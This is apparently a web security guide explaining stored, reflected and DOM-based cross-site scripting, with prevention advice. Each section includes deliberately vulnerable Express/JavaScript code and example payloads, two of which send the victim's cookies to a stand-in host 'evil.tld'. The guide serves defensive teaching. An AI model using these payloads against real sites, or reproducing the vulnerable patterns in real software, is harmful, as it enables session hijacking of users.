RestingOwl owl logo RestingOwl

Types of XSS:Stored, Reflected & DOM-Based

Quick Answer: There are three types of cross-site scripting. Stored XSS saves the malicious script in your database, so it runs for every user who views the affected page. Reflected XSS hides the script in a crafted URL that the server echoes back, so it only runs for someone who clicks the link. DOM-based XSS never touches the server at all: vulnerable client-side JavaScript writes attacker-controlled data straight into the page. Stored XSS is the most dangerous because it affects the most users with a single injection.

Cross-site scripting is not one bug: it is a family of bugs that all end the same way, with attacker JavaScript running in a victim's browser. What separates the three types is where the payload lives and how it reaches the victim. That difference matters, because each type is detected differently, fixed in a different layer of your stack, and carries a different blast radius. This guide breaks down each type with a vulnerable code example, a real attack payload, and how to shut it down. For the broader picture, see What Is Cross-Site Scripting (XSS)?

What Are the Three Types of XSS?

Every XSS vulnerability falls into one of three categories. The fastest way to tell them apart is to ask two questions: does the payload get stored on the server, and does the server or the browser put it on the page?

TypeWhere the payload livesWho puts it on the pageTrigger
Stored (Persistent)Your server / databaseThe server, on every page loadVictim simply views the page
Reflected (Non-Persistent)The request URL or formThe server, in the responseVictim clicks a crafted link
DOM-BasedNowhere on the serverClient-side JavaScriptVictim loads a page that reads attacker input

What Is Stored XSS (Persistent XSS)?

Stored XSS happens when your application saves untrusted input and later renders it to other users without encoding. The classic home for stored XSS is anything that accepts content from one user and shows it to another: comments, reviews, profile bios, support tickets, chat messages, and admin dashboards that display log data.

Here the comment text is saved as-is, then rendered straight into HTML. An attacker submits a script instead of a comment, and it executes for every visitor:

// VULNERABLE: comment stored and rendered without encoding
app.post('/comment', (req, res) => {
  db.comments.save({ text: req.body.text });   // attacker stores a <script>
});

app.get('/post/:id', (req, res) => {
  const c = db.comments.find(req.params.id);
  res.send(`<div class="comment">${c.text}</div>`); // script runs for all
});

A typical payload steals the session cookie of everyone who loads the page:

<script>new Image().src='https://evil.tld/c?'+document.cookie</script>

  • Blast radius: every user who views the affected content, automatically, until the payload is found and purged.
  • How to detect it: submit a benign marker such as <b>test</b> through every input, then check whether it renders as bold (unescaped) anywhere it is later displayed. Review all paths where stored data reaches output.
  • How to fix it: HTML-encode the data at output time. If you must accept rich text, sanitize it with an allowlist library such as DOMPurify before storing or rendering.

What Is Reflected XSS (Non-Persistent XSS)?

Reflected XSS happens when the server takes data from the request: a query string, a path, or a form field: and immediately echoes it back into the response without encoding. Nothing is stored. The payload lives entirely in the URL, so the attacker has to deliver that URL to the victim through email, chat, or a malicious link.

Search pages and error pages are the usual suspects, because they love to echo back what you typed:

// VULNERABLE: search term reflected straight into the page
app.get('/search', (req, res) => {
  res.send(`<h1>Results for ${req.query.q}</h1>`);
});

The attacker crafts a link and tricks a logged-in victim into clicking it:

https://app.example.com/search?q=<script>document.location=
  'https://evil.tld/c?'+document.cookie</script>

  • Blast radius: only users who click the malicious link, but it scales fast through phishing campaigns and is hard for victims to spot.
  • How to detect it: add a unique marker to each parameter (for example ?q=xss1234) and check whether it appears unescaped in the response source. Automated DAST tools such as OWASP ZAP and Burp Suite are good at finding reflected XSS.
  • How to fix it: HTML-encode every request value before placing it in the response, and apply the correct encoding for the context (HTML, attribute, JavaScript, or URL).

What Is DOM-Based XSS?

DOM-based XSS is the odd one out: the vulnerability is entirely in your client-side JavaScript, and the server may never see the payload at all. It happens when JavaScript reads attacker-controlled data from a source (such as location.search or location.hash) and writes it to a dangerous sink (such as innerHTML) without encoding.

Because the payload can sit after a # in the URL, it is never sent to the server, so server-side logs and many scanners miss it entirely:

// VULNERABLE: URL data flows into an innerHTML sink
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hi ' + name;

Since <script> inserted via innerHTML does not execute, attackers reach for an event handler instead:

https://app.example.com/welcome?name=<img src=x onerror=alert(document.cookie)>

  • Blast radius: like reflected XSS, it needs a crafted link, but it is far harder to spot in review because there is no server-side trace.
  • How to detect it: trace data flows in your JavaScript from sources (location, document.referrer, postMessage) to sinks (innerHTML, document.write, eval). Browser dev tools and linters that flag dangerous sinks help.
  • How to fix it: use textContent instead of innerHTML, prefer framework data binding, and never pass untrusted data to eval, document.write, or innerHTML.

Stored vs Reflected vs DOM-Based: How Do They Differ?

DimensionStoredReflectedDOM-Based
Payload persisted?Yes, in the databaseNoNo
Server involved?YesYesOften not at all
Delivery to victimAutomatic on page viewCrafted linkCrafted link
Users affectedEveryone who views the pageAnyone who clicksAnyone who clicks
Detection difficultyModerateEasy (DAST finds it)Hard (client-side only)
Primary fix locationServer output encodingServer output encodingClient-side JavaScript

Which Type of XSS Is Most Dangerous?

Stored XSS is generally the most dangerous, because a single successful injection executes for every user who views the affected page, with no further action needed from the attacker. A stored payload in a high-traffic comment thread or an admin log viewer can compromise hundreds of sessions, including privileged ones, before anyone notices. Reflected and DOM-based XSS are still serious: they just require the extra step of getting a victim to click a malicious link. In May 2026, CISA confirmed active exploitation of an XSS flaw in Microsoft Exchange that handed attackers authenticated email sessions: proof that XSS is exploited at scale in production. Read the incident report.

How Do You Prevent All Three Types of XSS?

The defenses overlap, but the layer differs by type. The short version:

  • Output encoding stops stored and reflected XSS: encode untrusted data for its exact context before it hits the page.
  • Safe DOM APIs stop DOM-based XSS: use textContent over innerHTML and avoid eval and document.write.
  • Content Security Policy limits the damage of all three even when a bug slips through.
  • HttpOnly and Secure cookies block the most common payload goal: stealing the session cookie.
Go deeper: For the full OWASP prevention checklist, CSP guidance, and how XSS differs from CSRF, read the pillar guide: What Is Cross-Site Scripting (XSS)? To find XSS risks before they ship, see STRIDE vs DREAD vs PASTA threat modeling.

References

  1. 1OWASP Cross Site Scripting Prevention Cheat Sheet
  2. 2OWASP DOM-based XSS Prevention Cheat Sheet
  3. 3OWASP Types of Cross-Site Scripting

Q&A Section

Stored (persistent) XSS, reflected (non-persistent) XSS, and DOM-based XSS. Stored XSS saves the payload on the server so it runs for every viewer; reflected XSS echoes the payload from the request back into the response, affecting anyone who clicks the link; DOM-based XSS is caused by client-side JavaScript writing attacker-controlled data into the page without encoding.
The difference is persistence. Stored XSS saves the malicious script in your database, so it executes automatically for every user who views the affected page. Reflected XSS is not stored: the payload lives in a crafted URL and only runs when a victim clicks that specific link. Stored XSS has a much larger blast radius.
Because the vulnerability lives entirely in client-side JavaScript and the payload can be placed after a # fragment, which browsers never send to the server. That means there is no server-side log of the attack and many traditional scanners miss it. Detecting it requires tracing data flows from sources like location.hash to dangerous sinks like innerHTML in your JavaScript.
Reflected XSS is historically the most commonly reported because it is the easiest to find with automated scanners, but stored and DOM-based XSS are widespread and often more impactful. Modern single-page applications have made DOM-based XSS increasingly common, since so much rendering now happens in client-side JavaScript.
Copied!